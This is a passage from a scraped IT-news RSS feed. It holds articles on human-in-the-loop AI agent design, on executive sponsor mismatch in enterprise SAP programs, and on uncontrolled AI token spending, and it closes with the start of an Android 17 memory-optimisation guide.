<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[One of these 13 gadgets could be the hero your junk drawer needs (here's why)]]></title>
<description><![CDATA[From tiny box cutters to bug-bite healers, these handy gadgets totally earn their place in your home for their form and function.]]></description>
<link>https://tsecurity.de/de/3694173/it-security-nachrichten/one-of-these-13-gadgets-could-be-the-hero-your-junk-drawer-needs-heres-why/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694173/it-security-nachrichten/one-of-these-13-gadgets-could-be-the-hero-your-junk-drawer-needs-heres-why/</guid>
<pubDate>Sat, 25 Jul 2026 18:51:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[From tiny box cutters to bug-bite healers, these handy gadgets totally earn their place in your home for their form and function.]]></content:encoded>
</item>
<item>
<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
        <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s16000/Engineering-Memory-Blog-3.png">
    </a>
</div>

<p>
    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.
</p>

<p>
    To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.
</p>

<div>
    Beyond these forced terminations, unoptimized memory usage inevitably degrades the user experience. When the app approaches heap memory limits, it triggers frequent garbage collection—leading to noticeable UI stutters. Furthermore, when a device runs out of available memory, the system scrambles to reclaim pages, causing CPU strain, UI latency, and battery drain. If the memory shortage is too severe, it can cause Low Memory Killer (LMK) events that abruptly terminate background processes and force apps to have slow cold starts and lose user state.
</div>

<div>
    <p>To build highly performant apps and avoid these forced terminations, we recommend that you adopt the following memory optimization strategies:</p>
    <ol>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Maximize">Maximize bytecode optimization with R8</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Optimize">Optimize image loading</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Detect">Detect and fix memory leaks with Android Studio</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Trim">Trim memory when app leaves visible state</a></li>
        <li><a href="http://android-developers.googleblog.com/2026/06/prioritizing-memory-efficiency-steps-for-android-17.html#Advanced">Advanced memory observability with ProfilingManager</a></li>
    </ol>
</div>
<br>
<div>
    <div class="separator">
        
    </div>
    <div>
        <em>A condensed version of this blog post is also available in video format, go check it out!</em>
    </div>
    
    <h3>Understanding Android 17 app memory limits</h3>
    <p>App memory limits are being introduced in Android 17 to prevent "one bad actor" from destroying the multitasking experience and stability of the user’s entire device.</p>
    <p>Here is a breakdown of the reasons driving this architectural change:</p>
    
    <div>
        <ul>
            <li><b>Preventing cascading kills:</b> When an app becomes bloated or leaks memory while holding a privileged state (e.g. it’s running a Foreground Service), it is initially shielded from the system's Low Memory Killer (LMK). As this single app grows unchecked and hoards RAM, the LMK is forced to compensate by killing off dozens of smaller, well-behaved cached apps and background jobs to reclaim space for the memory hog.</li>
            <li><b>Preserving multitasking and user state:</b> When the system is forced to purge cached apps to accommodate a single leaking process, the multitasking experience is severely degraded. Users returning to prior cached applications encounter sluggish cold starts instead of near-instant warm resumes. This inefficiency generates more CPU strain and accelerates battery depletion. It can also destroy the user’s context in recently used apps, such as scroll positions, navigation stacks, and in-game progress.</li>
        </ul>
        
        <div>
            <p>To determine if your app session was impacted by these constraints in the field, you can call <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#getDescription%28%29" target="_blank">getDescription()</a> within <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo" target="_blank">ApplicationExitInfo</a>. If the system applied a limit, the exit reason is reported as <a href="https://developer.android.com/reference/android/app/ApplicationExitInfo#REASON_OTHER" target="_blank">REASON_OTHER</a> and the description string will contain "MemoryLimiter:AnonSwap". You can also leverage <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/trigger-based-capture" target="_blank">trigger-based profiling</a> using <a href="https://developer.android.com/about/versions/17/features#anomaly-profiling-trigger" target="_blank">TRIGGER_TYPE_ANOMALY</a> to automatically capture heap dumps when the memory limit is reached. Furthermore, Android is actively working to surface more in-field memory metrics to developers within the Google Play Console.</p>
            <p>We have also expanded our <a href="https://developer.android.com/about/versions/17/behavior-changes-all#app-memory-limits" target="_blank">memory limits documentation</a> to include local debugging commands, allowing you to simulate memory constraints in your local environment and validate your application's behavior under any memory limit enforcement. </p>
        </div>
    </div>
</div>

<div>
    <h3>Maximize bytecode optimization with R8</h3>
    <p>A highly effective way to reduce your app's memory footprint is to enable the R8 optimizer. By shrinking classes, methods, and fields into shorter names and stripping out unused code and resources, R8 significantly reduces your app's memory footprint by minimizing the amount of resident code required during execution. </p>
    <p>R8 minimizes resident code, shrinking the memory footprint and lowering LMK termination risk. This results in more frequent warm starts over slow cold starts. Additionally, streamlined bytecode reduces main-thread CPU overhead, directly cutting ANR rates for a more fluid user experience. For example, the digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and saw a 35% reduction in their ANR rate, a 30% improvement in cold start rate, and a 9% reduction in overall app size.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
        <img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s16000/pic1-IO26_113_TSV-monzo-casestudy.jpg">
    </a>
</div>
<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s2048/pic2-r8-config-analyzer.png">
        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
    </a>
</div>
<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
